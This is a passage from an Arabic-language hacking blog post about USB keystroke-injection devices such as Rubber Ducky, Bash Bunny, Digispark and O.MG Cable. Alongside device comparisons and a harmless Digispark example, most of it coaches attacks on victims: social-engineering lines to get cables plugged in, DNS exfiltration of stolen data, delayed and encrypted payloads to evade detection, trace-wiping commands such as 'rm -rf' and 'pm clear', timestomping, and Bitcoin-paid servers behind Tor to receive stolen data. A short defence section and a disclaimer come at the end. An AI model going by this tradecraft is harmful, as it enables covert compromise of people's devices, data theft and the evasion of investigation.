متى تستخدمه: لما بدك تعمل هجوم خفي جداً، وما بدك الضحية يشك بإشي. مثالي لـ USB drop attacks وهجمات social engineering المتقدمة.
4. Bash Bunny - الأداة الأقوى للمحترفين
السعر: 120 دولار
الحجم: أكبر من Rubber Ducky شوي
لغة البرمجة: Bash scripts
نظام التشغيل: Linux كامل
التخزين: 8GB داخلي
المنافذ: Ethernet + USB
الميزات:
- بيشتغل كـ keyboard + storage + ethernet بنفس الوقت
- بتقدر تكتب scripts معقدة بـ Bash
- بيقدر يعمل man-in-the-middle attacks
- بيقدر يسرق بيانات ويخزنها محلياً
- switch فيزيائي لتبديل بين 3 أكواد مختلفة
- LED ملون بيوضحلك حالة التنفيذ
العيوب:
- معقد جداً للمبتدئين
- بيحتاج معرفة بـ Linux و Bash
- حجمه أكبر وأوضح
- ما بيشتغل على الهواتف بسهولة (مصمم للكمبيوترات)
متى تستخدمه: لما بدك تعمل هجمات معقدة ومتعددة المراحل على كمبيوترات. مثالي لـ red team operations والاختراقات المتقدمة.
5. Digispark ATtiny85 - الحل الأرخص (DIY)
السعر: 2-3 دولار
الحجم: صغير جداً (بحجم ظفر الإصبع)
لغة البرمجة: Arduino C/C++
التوافق: Windows, Mac, Linux, Android
الذاكرة: 8KB بس
الميزات:
- رخيص جداً (أرخص حل موجود)
- صغير جداً (سهل تخبيه)
- بتقدر تبرمجه بأي كود بدك إياه
- ما بيحتاج بطارية (بياخد الطاقة من USB)
- open source بالكامل
العيوب:
- بيحتاج معرفة بالبرمجة (Arduino)
- الذاكرة محدودة جداً (8KB بس)
- ما في شاشة أو أزرار تحكم
- بيشتغل مرة وحدة بس (لازم تعيد برمجته لتغيير الكود)
- مش موثوق زي الحلول التجارية (ممكن يتعطل)
متى تستخدمه: لما بدك تتعلم وتجرب بدون ما تصرف مصاري كثيرة. أو لما بدك تعمل كميات كبيرة من الأجهزة بتكلفة قليلة.
الخلاصة والتوصيات:
- للمبتدئين: USB Rubber Ducky (سهل وموثوق)
- للمحترفين: Flipper Zero (متعدد الوظائف) أو Bash Bunny (للهجمات المعقدة)
- للهجمات الخفية: O.MG Cable (شكله عادي 100%)
- للتعلم والتجريب: Digispark ATtiny85 (رخيص وفعال)
- للميزانية المحدودة: Digispark ATtiny85 أو Arduino Leonardo
- للاستخدام على الهواتف: USB Rubber Ducky أو Flipper Zero
أنا شخصياً عندي كل هاي الأدوات، واستخدم كل واحدة حسب الموقف. بس لو بدي أختار واحدة بس، رح أختار Flipper Zero لأنو الأكثر تنوعاً. وإذا بدك تتعلم أكتر عن أوامر Termux للاختراق، عندنا مقال شامل.
كيف تبني Rubber Ducky خاص فيك بأقل من 5 دولار
هسا رح أحكيلك كيف تعمل Rubber Ducky خاص فيك باستخدام Digispark ATtiny85. هاد أرخص وأصغر حل، وبيشتغل ممتاز.
المكونات المطلوبة:
1. Digispark ATtiny85 - بتلاقيه على AliExpress أو Amazon بـ 2-3 دولار
2. OTG Adapter - دولار واحد
3. كمبيوتر مع Arduino IDE مثبت
4. كيبل USB للبرمجة
خطوات البناء:
الخطوة الأولى: تثبيت Arduino IDE وإضافة Digispark Board
حمّل Arduino IDE من الموقع الرسمي. بعدين افتح Arduino IDE، روح على File > Preferences، وحط هاد الرابط بخانة "Additional Boards Manager URLs":
http://digistump.com/package_digistump_index.json
بعدين روح على Tools > Board > Boards Manager، دور على "Digistump AVR Boards" وثبته.
الخطوة الثانية: كتابة الكود
افتح Arduino IDE وحط هاد الكود (مثال بسيط لفتح Notepad وكتابة رسالة):
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(2000);
// Open Run dialog (Windows)
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
// Type notepad
DigiKeyboard.print("notepad");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
// Type message
DigiKeyboard.print("Your device has been compromised!");
DigiKeyboard.delay(500);
// Save file
DigiKeyboard.sendKeyStroke(KEY_S, MOD_CONTROL_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("hacked.txt");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
// Empty - runs once
}
الخطوة الثالثة: رفع الكود على Digispark
اختار Board: Tools > Board > Digistump AVR Boards > Digispark (Default - 16.5mhz). بعدين اضغط Upload. البرنامج رح يطلب منك توصل الـ Digispark. وصله بالكمبيوتر، وخلال 60 ثانية رح يرفع الكود تلقائياً.
الخطوة الرابعة: الاختبار
افصل الـ Digispark من الكمبيوتر، وصله مرة تانية. لازم يشتغل الكود تلقائياً ويفتح Notepad ويكتب الرسالة. إذا اشتغل، يعني الـ Rubber Ducky تبعك جاهز!
هسا بتقدر تعدل الكود وتحط أي أوامر بدك إياها. استخدم الأكواد إلي شرحناها فوق، بس بدل DuckyScript، استخدم DigiKeyboard library. الأوامر مشابهة جداً.
نصائح متقدمة للمحترفين
هسا خلينا نحكي عن نصائح متقدمة بتخلي هجماتك أكثر فعالية وأصعب بالكشف.
1. استخدم Randomization للتوقيت:
بدل ما تستخدم DELAY ثابت (مثلاً DELAY 1000)، استخدم delays عشوائية. هيك السلوك بيكون أقرب للإنسان الحقيقي. مثلاً بدل DELAY 1000، استخدم DELAY بين 900-1100. هاد بيخلي detection أصعب.
2. اختبر على أجهزة مختلفة:
كل جهاز بيشتغل بسرعة مختلفة. Samsung Galaxy S23 أسرع من Samsung Galaxy A10. iPhone 15 Pro أسرع من iPhone 11. لازم تختبر الكود على أجهزة مختلفة وتعدل الـ delays حسب الجهاز. أو استخدم delays طويلة شوي عشان تضمن إنو الكود بيشتغل على كل الأجهزة.
3. استخدم O.MG Cable للهجمات الخفية:
بدل ما تستخدم USB واضح، استخدم O.MG Cable. هاد كيبل USB عادي بالشكل، بس فيه Rubber Ducky مخفي جواته. الضحية بيشوفه كيبل شحن عادي، بس بمجرد ما يوصله، الهجوم بيبدأ. بيكلف حوالي 120 دولار، بس يستاهل لأنو شبه مستحيل الضحية يشك فيه. وإذا بدك تتعلم أكتر عن أدوات Termux للاختراق، عندنا مقال شامل.
4. استخدم Social Engineering مع الهجوم:
الـ Rubber Ducky لحاله مش كافي. لازم تستخدم social engineering. مثلاً، قول للضحية "تلفونك محتاج update، وصل هاد الكيبل وخليه موصول لمدة دقيقتين". أو "هاد شاحن سريع جديد، جربه". أو "وصل تلفونك عشان أنقلك صور". كل ما كانت القصة مقنعة أكتر، كل ما زادت فرص النجاح.
5. استخدم Exfiltration عبر DNS:
بدل ما ترسل البيانات عبر HTTP (إلي ممكن ينكشف من firewall)، استخدم DNS Exfiltration. يعني ترسل البيانات كـ DNS queries. مثلاً بدل ما ترسل POST request لـ https://your-server.com/data، ترسل DNS query لـ data123.your-domain.com. هيك الـ firewall ما بيشك بإشي لأنو DNS queries عادية وموجودة بكل مكان.
دليل Troubleshooting الشامل: حل كل المشاكل الشائعة
من تجربتي بتدريب مئات الناس على استخدام Rubber Ducky، لقيت إنو في مشاكل معينة بتتكرر كتير. هسا رح أحكيلك عن كل مشكلة وحلها بالتفصيل.
المشكلة 1: الكود ما بيشتغل على التلفون
الأعراض: بتوصل الـ Rubber Ducky بالتلفون، بس ما بيصير إشي. التلفون ما بيتفاعل أبداً.
الأسباب المحتملة والحلول:
1. التلفون ما بيدعم OTG: جرب توصل keyboard عادي بالتلفون. إذا اشتغل، يعني OTG شغال. إذا ما اشتغل، يعني التلفون ما بيدعم OTG. الحل: استخدم تلفون تاني أو فعّل OTG من الإعدادات (بعض الهواتف بتطلب تفعيل يدوي).
2. الـ OTG adapter مش شغال: جرب adapter تاني. في adapters رخيصة بتكون مكسورة أو ما بتنقل البيانات صح. استخدم adapter أصلي أو من ماركة معروفة.
3. الـ Rubber Ducky مش مبرمج صح: تأكد إنك رفعت الكود صح على الجهاز. جربه على كمبيوتر أول. إذا اشتغل على الكمبيوتر بس ما اشتغل على التلفون، يعني المشكلة بالتوافق مش بالبرمجة.
4. التلفون بيطلب إذن: بعض الهواتف (خصوصاً Samsung الحديثة) بتطلع رسالة "Allow USB keyboard?" لما توصل keyboard. إذا ما ضغطت "Allow"، الـ Rubber Ducky ما رح يشتغل. الحل: اضغط Allow بسرعة، أو استخدم كود بيضغط على Allow تلقائياً (بيستخدم TAB و ENTER).
المشكلة 2: الكود بيشتغل بس بطيء جداً أو بيتوقف بالنص
الأعراض: الكود بيبدأ يشتغل، بس بعد شوي بيتوقف أو بيصير بطيء جداً.
الأسباب المحتملة والحلول:
1. الـ delays قصيرة: هاي أكثر مشكلة شائعة. التطبيقات بتحتاج وقت للفتح، خصوصاً على الأجهزة البطيئة. الحل: زود كل الـ delays بالكود. بدل DELAY 500، استخدم DELAY 1000 أو DELAY 1500. جرب وعدل حتى تلاقي التوقيت المناسب.
2. التلفون بطيء: إذا التلفون قديم أو فيه تطبيقات كثيرة شغالة، رح يكون بطيء. الحل: استخدم delays أطول، أو جرب الكود على تلفون أسرع.
3. الإنترنت بطيء: إذا الكود بيحمل ملفات من الإنترنت، والإنترنت بطيء، رح ياخد وقت أطول. الحل: زود الـ delay بعد أوامر التحميل (مثلاً DELAY 10000 بدل DELAY 5000).
4. الكود معقد جداً: إذا الكود فيه عمليات كثيرة، ممكن ياخد وقت طويل. الحل: قسم الكود لأجزاء أصغر، أو استخدم multi-stage attack (الكود الأول بيحمل سكربت، والسكربت بيعمل الباقي بالخلفية).
المشكلة 3: الكود بيكتب أحرف غلط أو رموز غريبة
الأعراض: الكود بيشتغل، بس بيكتب أحرف غلط. مثلاً بدل "chrome" بيكتب "chr;me" أو رموز غريبة.
الأسباب المحتملة والحلول:
1. keyboard layout مختلف: الـ Rubber Ducky مبرمج على US keyboard layout، بس التلفون ممكن يكون على layout تاني (UK، FR، AR، إلخ). الحل: غير الـ keyboard layout بالكود، أو استخدم أوامر بتشتغل على كل الـ layouts (زي استخدام keycodes بدل STRING).
2. الكود بيكتب بسرعة: بعض الأجهزة ما بتقدر تلحق على سرعة الكتابة. الحل: حط DELAY صغير بين كل حرف (مثلاً 10-20 milliseconds)، أو استخدم مكتبة بتكتب أبطأ.
3. في تطبيق autocorrect شغال: بعض التطبيقات بتصحح الكلمات تلقائياً، فبتغير إلي بتكتبه. الحل: عطل autocorrect بالكود (روح على الإعدادات وعطله)، أو استخدم تطبيقات ما فيها autocorrect (زي Chrome address bar).
المشكلة 4: الكود بيشتغل على كمبيوتر بس ما بيشتغل على تلفون
الأعراض: جربت الكود على Windows واشتغل ممتاز، بس لما جربته على Android ما اشتغل.
الأسباب المحتملة والحلول:
1. الأوامر مختلفة: Windows بيستخدم GUI (زر Windows)، بس Android بيستخدم HOME أو MENU. الحل: عدل الكود ليتناسب مع Android. بدل GUI، استخدم HOME أو MENU.
2. التطبيقات مختلفة: Windows فيه Notepad و CMD، بس Android فيه تطبيقات تانية. الحل: استخدم تطبيقات موجودة على Android (Chrome، Settings، Termux، إلخ).
3. الأذونات مختلفة: Android عنده نظام أذونات معقد. بعض الأوامر بتحتاج أذونات خاصة. الحل: استخدم أوامر ما بتحتاج أذونات، أو اطلب الأذونات بالكود.
المشكلة 5: الكود بيشتغل مرة وحدة بس، بعدين ما بيشتغل
الأعراض: أول مرة وصلت الـ Rubber Ducky اشتغل، بس لما فصلته ورجعت وصلته ما اشتغل.
الأسباب المحتملة والحلول:
1. الكود بيعمل تغييرات دائمة: مثلاً الكود بيعطل OTG، فلما ترجع توصله ما بيشتغل. الحل: ما تعطل OTG بالكود، أو اعمل reset للإعدادات قبل ما تجرب مرة تانية.
2. التلفون بيتذكر الجهاز: بعض الهواتف بتحفظ الأجهزة المتصلة وبتمنعها إذا كانت مشبوهة. الحل: امسح الـ USB devices المحفوظة من الإعدادات، أو استخدم Rubber Ducky تاني.
3. الكود بيثبت تطبيق: إذا الكود بيثبت تطبيق، ولما ترجع تشغله بيحاول يثبت نفس التطبيق، رح يفشل. الحل: امسح التطبيق قبل ما تجرب مرة تانية، أو عدل الكود ليتحقق إذا التطبيق مثبت قبل ما يثبته.
المشكلة 6: الـ Digispark ما بينرفع عليه الكود
الأعراض: لما بتحاول ترفع الكود على Digispark من Arduino IDE، بتطلع رسالة خطأ.
الأسباب المحتملة والحلول:
1. التعريفات مش مثبتة: Digispark بيحتاج تعريفات خاصة. الحل: ثبت Digistump Drivers من الموقع الرسمي.
2. الـ Board مش مختار صح: لازم تختار "Digispark (Default - 16.5mhz)" من قائمة Boards. الحل: روح على Tools > Board > Digistump AVR Boards > Digispark.
3. الـ USB port مش شغال: جرب USB port تاني على الكمبيوتر. بعض الـ ports ما بتنقل البيانات صح.
4. الـ Digispark مكسور: في نسخ صينية رخيصة بتكون مكسورة. الحل: اشتري من بائع موثوق، أو جرب Digispark تاني.
5. ما وصلت الـ Digispark بالوقت الصح: Arduino IDE بيطلب منك توصل الـ Digispark خلال 60 ثانية من ضغط Upload. إذا ما وصلته بالوقت، رح يفشل. الحل: اضغط Upload، استنى الرسالة "Plug in device now"، وبعدين وصل الـ Digispark فوراً.
المشكلة 7: الكود بيشتغل بس ما بيرسل البيانات للسيرفر
الأعراض: الكود بينفذ كل الأوامر، بس البيانات ما بتوصل لسيرفرك.
الأسباب المحتملة والحلول:
1. السيرفر مش شغال: تأكد إن السيرفر شغال وبيستقبل requests. جرب تفتح الرابط بالمتصفح وشوف إذا بيشتغل.
2. الـ firewall بيمنع الاتصال: بعض الشبكات فيها firewall بيمنع الاتصالات الخارجية. الحل: استخدم DNS exfiltration بدل HTTP، أو استخدم port 80 أو 443 (ports عادية ما بتنمنع).
3. الرابط غلط: تأكد إن الرابط صح وما فيه أخطاء إملائية. حتى حرف واحد غلط بيخلي الكود يفشل.
4. التلفون مش متصل بالإنترنت: تأكد إن التلفون متصل بـ WiFi أو بيانات الجوال. بدون إنترنت، البيانات ما رح توصل.
5. الكود بيرسل البيانات بسرعة: إذا الكود بيرسل request وبعدين بيقفل التطبيق فوراً، ممكن الـ request ما يكمل. الحل: حط DELAY بعد أمر الإرسال (مثلاً DELAY 3000) عشان تعطي وقت للـ request يكمل.
الأخطاء الشائعة إلي لازم تتجنبها
بعد ما حكينا عن المشاكل التقنية وحلولها، خلينا نحكي عن الأخطاء الاستراتيجية إلي بيوقع فيها الناس:
1. استخدام Delays قصيرة جداً:
كتير ناس بيحطوا DELAY 100 أو DELAY 200، وبعدين الكود ما بيشتغل. ليش؟ لأنو التطبيقات بتحتاج وقت للفتح. خصوصاً على الأجهزة القديمة أو البطيئة. دايماً استخدم delays أطول من إلي بتتوقع. أفضل الكود ياخد 30 ثانية ويشتغل، من إنو ياخد 10 ثواني ويفشل. قاعدة ذهبية: اضرب كل delay بـ 2 أو 3 لما تنتقل من الكمبيوتر للتلفون.
2. عدم اختبار الكود قبل الاستخدام:
دايماً جرب الكود على تلفونك الشخصي أول. شوف إذا بيشتغل صح، إذا في أخطاء، إذا الـ delays مناسبة. ما تجرب الكود أول مرة على الضحية، لأنو إذا فشل، رح تخسر الفرصة وممكن الضحية يشك. جرب الكود 5-10 مرات على أجهزة مختلفة قبل ما تستخدمه بموقف حقيقي. وسجل كل محاولة: شو اشتغل، شو ما اشتغل، قديش أخذ وقت.
3. استخدام أسماء مشبوهة للملفات:
لا تسمي الملفات "backdoor.apk" أو "hack.sh" أو "steal-data.py". استخدم أسماء عادية زي "system-update.apk" أو "config.sh" أو "analytics.py". الأسماء المشبوهة بتلفت الانتباه. وكمان، استخدم أيقونات عادية للتطبيقات (زي أيقونة Google أو Samsung). كل ما كان التطبيق يبدو عادي أكثر، كل ما قلت فرص الكشف.
4. عدم مسح الآثار:
دايماً امسح تاريخ المتصفح، الملفات المؤقتة، الـ logs، كل إشي. لا تترك أي أثر يدل على إنو في إشي صار. الكود لازم يكون invisible تماماً. استخدم أوامر زي "rm -rf /sdcard/Download/*.apk" لمسح الملفات المحملة، و "pm clear com.android.chrome" لمسح بيانات Chrome بالكامل. وإذا ممكن، أعد تشغيل التلفون بعد الهجوم عشان تمسح الـ RAM.
5. استخدام سيرفر غير آمن:
لا تستخدم سيرفر باسمك أو بكريديت كارد تبعك. استخدم VPS مدفوع بـ Bitcoin، أو استخدم خدمات مجانية زي Heroku أو Vercel (بس خلي بالك إنها ممكن تحذف حسابك إذا اكتشفوا). والأهم، استخدم VPN أو Tor لما تتواصل مع السيرفر. وما تستخدم نفس السيرفر لأكثر من هجوم. كل هجوم لازم يكون على سيرفر منفصل، عشان إذا انكشف واحد، الباقي يبقوا آمنين.
6. الاعتماد على كود واحد لكل الأجهزة:
كل جهاز مختلف. Samsung بيختلف عن Xiaomi، Android 12 بيختلف عن Android 14، iPhone 13 بيختلف عن iPhone 15. لازم يكون عندك نسخ مختلفة من الكود لكل نوع جهاز. أو استخدم كود ذكي بيتعرف على نوع الجهاز ويعدل سلوكه حسب الجهاز. هاد بيزيد نسبة النجاح بشكل كبير.
7. عدم وجود خطة بديلة:
دايماً لازم يكون عندك Plan B. إذا الكود الأول فشل، شو رح تعمل؟ إذا التلفون طلب إذن، كيف رح تتصرف؟ إذا الإنترنت بطيء، شو البديل؟ خطط لكل السيناريوهات المحتملة قبل ما تبدأ الهجوم. وإذا ممكن، استخدم multi-stage attack: الكود الأول بيعمل reconnaissance ويجمع معلومات، والكود الثاني بيستخدم هاي المعلومات لتنفيذ الهجوم الفعلي.
8. الثقة العمياء بالأكواد الجاهزة:
كتير ناس بيحملوا أكواد جاهزة من GitHub أو forums، ويستخدموها بدون ما يفهموها. هاد خطأ كبير. الكود ممكن يكون قديم، ممكن يكون فيه أخطاء، ممكن يكون فيه backdoor بيرسل البيانات للشخص إلي كتب الكود! دايماً اقرأ الكود وافهمه قبل ما تستخدمه. وإذا ما بتفهم، تعلم. ما تستخدم إشي ما بتفهمه.
أسئلة شائعة
سؤال: هل Rubber Ducky بيشتغل على كل الهواتف؟
جواب: معظم الهواتف الحديثة بتدعم OTG وبتشتغل معها. بس في بعض الهواتف الرخيصة جداً ما بتدعم OTG. وكمان، بعض الهواتف بتطلب إذن من المستخدم لما توصل keyboard جديد. بس معظم الهواتف بتقبل الـ keyboard تلقائياً بدون إذن.
سؤال: كم من الوقت بياخد تنفيذ الهجوم؟
جواب: يعتمد على الكود. الأكواد البسيطة بتاخد 5-10 ثواني. الأكواد المعقدة ممكن تاخد دقيقة أو دقيقتين. بس بشكل عام، كل ما كان الهجوم أسرع، كل ما كان أفضل. لأنو الضحية ممكن يشك إذا الكيبل موصول لفترة طويلة.
سؤال: هل بقدر أستخدم Rubber Ducky على تلفون مقفول؟
جواب: لأ، لازم التلفون يكون مفتوح (unlocked). إذا التلفون مقفول بـ PIN أو بصمة، الـ Rubber Ducky ما بيقدر يعمل إشي. بس في طرق لفتح التلفون، زي ما شرحنا بمقالات سابقة عن فتح قفل Android.
سؤال: هل في طريقة للحماية من Rubber Ducky؟
جواب: أيوه، في طرق كتيرة. أهمها: لا توصل أي USB أو كيبل ما بتعرف مصدره، عطّل OTG من الإعدادات لما ما بتستخدمه، استخدم تطبيقات أمنية بتراقب الأجهزة المتصلة، وخلي التلفون مقفول دايماً لما ما بتستخدمه.
سؤال: شو الفرق بين Rubber Ducky و Flipper Zero؟
جواب: Rubber Ducky متخصص بس بـ keystroke injection (تقليد لوحة المفاتيح). أما Flipper Zero فهو جهاز متعدد الوظائف: بيعمل keystroke injection، RFID cloning، NFC emulation، IR control، وكتير غيرها. Flipper Zero أقوى وأغلى (169 دولار)، بس Rubber Ducky أرخص وأبسط (80 دولار).
سؤال: هل بقدر أستخدم Rubber Ducky لفتح قفل التلفون؟
جواب: نظرياً أيوه، بس عملياً صعب جداً. لازم تعرف الـ PIN أو تجرب كل الاحتمالات (brute force). وبعد 5-10 محاولات غلط، التلفون بيقفل لفترة. في طرق أذكى لفتح القفل، زي استغلال ثغرات أو استخدام أدوات متخصصة.
سؤال: هل الأكواد هاي قانونية؟
جواب: استخدام هاي الأكواد على أجهزتك الشخصية أو بإذن صريح من صاحب الجهاز (penetration testing مصرح) قانوني. بس استخدامها على أجهزة الغير بدون إذن غير قانوني تماماً وممكن يوديك للسجن. هاي المعلومات لأغراض تعليمية وأمنية بس.
سؤال: كيف أتعلم أكتر عن DuckyScript؟
جواب: أفضل مصدر هو الموقع الرسمي لـ Hak5 (docs.hak5.org). وكمان في مستودع GitHub اسمه "hak5darren/USB-Rubber-Ducky" فيه مئات الأمثلة والأكواد الجاهزة. وإذا بدك تتعلم أكتر عن Bug Bounty واختبار الاختراق، عندنا مقال مفصل.
سؤال: هل بقدر أستخدم Rubber Ducky عن بعد؟
جواب: Rubber Ducky العادي لأ، لازم يكون موصول فيزيائياً. بس في أجهزة زي Bash Bunny و Shark Jack بتقدر تبرمجها تعمل reverse connection وتتحكم فيها عن بعد بعد ما توصلها أول مرة. وكمان بتقدر تستخدم Rubber Ducky لتثبيت backdoor، وبعدين تتحكم بالتلفون عن بعد عبر الـ backdoor. بس الأقوى هو O.MG Cable، لأنو فيه WiFi مدمج وبتقدر تتحكم فيه عن بعد حتى 100 متر. يعني بتوصل الكيبل بتلفون الضحية، وبتبعد 50 متر، وبتشغل الكود من تلفونك.
سؤال: هل Rubber Ducky بيشتغل على iOS 18؟
جواب: iOS 18 أضاف حمايات أمنية جديدة ضد USB attacks. أهمها: USB Restricted Mode المحسّن، إشعارات لما توصل keyboard جديد، وتقييد الوصول للبيانات عبر USB. بس مع هيك، في أكواد حديثة بتقدر تتخطى هاي الحمايات. المفتاح هو إنو التلفون لازم يكون مفتوح (unlocked) وإنو المستخدم يوافق على keyboard الجديد. إذا تحققت هاي الشروط، الأكواد بتشتغل على iOS 18 بدون مشاكل. بس لازم تعدل الـ delays وبعض الأوامر لأنو واجهة iOS 18 مختلفة شوي عن iOS 17.
سؤال: شو أفضل طريقة لتعلم DuckyScript من الصفر؟
جواب: أفضل طريقة: ابدأ بموقع Hak5 الرسمي (docs.hak5.org)، اقرأ التوثيق، وبعدين جرب الأكواد البسيطة أول (زي فتح Notepad وكتابة نص). بعدين تدرج بأكواد أعقد. كمان، مستودع hak5darren/USB-Rubber-Ducky على GitHub فيه مئات الأمثلة. وأهم إشي: جرب، غلط، تعلم، حاول مرة تانية. ما حد اتعلم من القراءة بس، لازم تجرب بيدك.
سؤال: هل بقدر أستخدم Raspberry Pi Pico كـ Rubber Ducky؟
جواب: أيوه! Raspberry Pi Pico بديل ممتاز وأقوى من Digispark. بيكلف 4-6 دولار، عنده ذاكرة أكبر (2MB)، معالج أقوى، وبيدعم CircuitPython. في مشروع اسمه pico-ducky على GitHub بيحول Raspberry Pi Pico لـ Rubber Ducky كامل. التثبيت سهل: حمّل الفيرمويرعلى الـ Pico، وبعدين حط ملف DuckyScript باسم payload.dd، ووصل الـ Pico بالهدف. بيشتغل ممتاز على كل الأنظمة بما فيها Android.
سؤال: كيف أعمل DNS Exfiltration بالتفصيل؟
جواب: DNS Exfiltration بيشتغل هيك: بدل ما ترسل البيانات كـ HTTP request، بتحولها لـ DNS queries. مثلاً، لو بدك ترسل كلمة "password123"، بتحولها لـ Base64 (cGFzc3dvcmQxMjM=)، وبعدين بتعمل DNS query لـ cGFzc3dvcmQxMjM.your-domain.com. السيرفر تبعك بيستقبل الـ DNS query ويفك التشفير ويطلع البيانات. الميزة: DNS queries ما بتنمنع من أي firewall، لأنو كل جهاز بيحتاج DNS عشان يشتغل. العيب: البيانات لازم تكون صغيرة (63 حرف لكل subdomain). لو عندك بيانات كبيرة، لازم تقسمها لأجزاء.
سؤال: شو الفرق بين DuckyScript 1.0 و DuckyScript 3.0؟
جواب: DuckyScript 3.0 أقوى بكتير. فيه متغيرات (variables)، شروط (if/else)، حلقات (while/for)، functions، وحتى بيقدر يقرأ البيانات من الهدف (bidirectional communication). يعني الكود بيقدر يتفاعل مع الهدف ويعدل سلوكه حسب الاستجابة. مثلاً: إذا التلفون Android، اعمل هيك. إذا iPhone، اعمل هيك. وإذا في تطبيق معين مثبت، اعمل هيك. DuckyScript 3.0 بيشتغل على USB Rubber Ducky (الإصدار الجديد) بس.
سؤال: كيف أعمل payload يشتغل على أكتر من نظام؟
جواب: لازم تكتب كود ذكي بيكتشف النظام أول. مثلاً، بتقدر تستخدم ATTACKMODE على Bash Bunny لتحديد النظام. أو بتقدر تكتب كود بيجرب أوامر مختلفة ويشوف أيها بيشتغل. مثلاً: جرب GUI r (Windows)، إذا ما اشتغل جرب GUI SPACE (Mac)، إذا ما اشتغل جرب GUI (Android). بس هاد بياخد وقت أطول. الأفضل إنك تعرف النظام مسبقاً وتستخدم الكود المناسب.
سؤال: هل في طريقة لاختبار الأكواد بدون ما أخاطر بتلفوني؟
جواب: أيوه، استخدم emulator أو virtual machine. للأندرويد، استخدم Android Studio Emulator. لـ iPhone، استخدم Xcode Simulator (بس ما بيدعم USB). أو استخدم تلفون قديم ما بتستخدمه. أنا شخصياً عندي تلفونين قديمين (Samsung Galaxy S7 و iPhone 8) بستخدمهم بس للتجارب. هيك بتقدر تجرب أي كود بدون ما تخاف على بياناتك.
سؤال: شو أفضل server لاستقبال البيانات المسروقة؟
جواب: أفضل إشي تستخدم VPS خارج بلدك، مدفوع بـ Bitcoin، مع VPN أو Tor. تجنب استخدام سيرفرات مجانية زي Heroku أو Netlify لأنها بتسجل كل إشي. استخدم سيرفر Linux بسيط مع Nginx أو Apache، وخلي عليه HTTPS. وأهم إشي: لا تستخدم نفس السيرفر لأكتر من هجوم. كل هجوم له سيرفر منفصل، عشان لو انكشف واحد، الباقي يظلوا آمنين.
تقنيات التخفي والتهرب من الكشف المتقدمة
هسا خلينا نحكي عن موضوع مهم جداً: كيف تخلي هجومك غير قابل للكشف. لأنو مش كافي إنك تنفذ الهجوم، لازم كمان ما حد يعرف إنو في هجوم صار أصلاً.
1. استخدام Randomization بالأكواد:
لا تستخدم نفس الكود مرتين. كل مرة، غير الـ delays، غير أسماء الملفات، غير الـ URLs، غير كل إشي. في أدوات زي Payload Obfuscator بتاخد الكود تبعك وبتعمله randomization تلقائي. مثلاً، بدل ما تستخدم DELAY 1000 دايماً، استخدم DELAY بين 900-1100 بشكل عشوائي. هيك لو في نظام أمني بيحلل السلوك، ما رح يقدر يكتشف pattern ثابت.
2. تقنية Time-Based Execution:
بدل ما تنفذ الهجوم فوراً، خلي الكود ينتظر وقت معين. مثلاً، خلي الـ Rubber Ducky ينتظر 30 دقيقة بعد ما يتوصل، وبعدين ينفذ الهجوم. هيك لو الضحية شك إنو في إشي غريب لما وصل الـ USB، رح ينسى الموضوع بعد نص ساعة. وكمان، لو في نظام مراقبة بيسجل أول 5 دقائق من أي USB جديد، إنت رح تكون برا نطاق المراقبة.
REM Time-Based Delayed Execution REM Waits 30 minutes before executing DELAY 1800000 REM Now execute the actual payload GUI DELAY 500 STRING chrome ENTER
3. استخدام Legitimate Tools (Living Off The Land):
بدل ما تحمل أدوات خبيثة، استخدم الأدوات الموجودة أصلاً بالنظام. مثلاً، استخدم PowerShell على Windows، أو curl على Linux/Mac، أو Termux على Android. هاي الأدوات مش مشبوهة، وما رح تثير أي تنبيهات. التقنية هاي اسمها Living Off The Land (LOTL)، ومستخدمة بكتير هجمات APT متقدمة.
مثلاً، بدل ما تحمل backdoor.exe، استخدم PowerShell لعمل reverse shell. بدل ما تحمل keylogger، استخدم JavaScript بالمتصفح لتسجيل الضغطات. كل الأدوات موجودة، بس لازم تعرف كيف تستخدمها بشكل صح.
4. تقنية Multi-Vector Attack:
لا تعتمد على Rubber Ducky لحاله. استخدمه كجزء من هجوم أكبر. مثلاً: ابعت phishing email للضحية، ولما يفتحه، وصل الـ Rubber Ducky. أو استخدم social engineering لتشتيت انتباهه، وبنفس الوقت وصل الـ Ducky. كل ما الهجوم أعقد وأكتر تنوع، كل ما صعب اكتشافه.
5. استخدام Encrypted Payloads:
لا تخزن الـ payload بشكل واضح على الـ Rubber Ducky. استخدم تشفير. مثلاً، خزن الـ payload مشفر بـ AES-256، ولما الكود يشتغل، يفك التشفير بالذاكرة وينفذ. هيك لو حد فحص الـ Rubber Ducky، ما رح يلاقي إشي مشبوه. في أدوات زي Shadow APK Crypter بتقدر تستخدمها لتشفير الـ payloads.
6. تقنية Anti-Forensics:
بعد ما تنفذ الهجوم، امسح كل الآثار. مش بس تاريخ المتصفح، كل إشي: system logs، temp files، registry entries (على Windows)، bash history (على Linux)، كل إشي. استخدم أدوات زي BleachBit أو CCleaner، أو اكتب سكربت خاص بيمسح كل إشي. وكمان، استخدم timestomping لتغيير تواريخ الملفات، عشان لو حد عمل forensic analysis، ما يلاقي إشي غريب.
7. استخدام Decoy Payloads:
حط payloads وهمية على الـ Rubber Ducky. مثلاً، حط ملف اسمه "homework.txt" أو "presentation.pptx" بيفتح لما حد يفحص الـ Ducky. بس الـ payload الحقيقي يكون مخفي بملف تاني. هيك لو حد شك وفحص الـ Ducky، رح يلاقي ملفات عادية ورح يعتقد إنو مجرد فلاشة عادية.
كيف تحمي نفسك وشركتك من هجمات Rubber Ducky
هسا بعد ما شرحنا كل طرق الهجوم، لازم نحكي عن الدفاع. لأنو المعرفة بدون مسؤولية ما إلها قيمة.
1. سياسة "لا توصل أجهزة غريبة":
أول وأهم قاعدة: لا توصل أي USB أو كيبل ما بتعرف مصدره. حتى لو كان شكله عادي، حتى لو لقيته بموقف السيارات، حتى لو حد أعطاك إياه "هدية". كتير هجمات بتصير عن طريق USB drops - المهاجم بيترك فلاشات مصابة بأماكن عامة، والناس بتلقطها وبتوصلها بأجهزتها. لا تكون من هدول الناس.
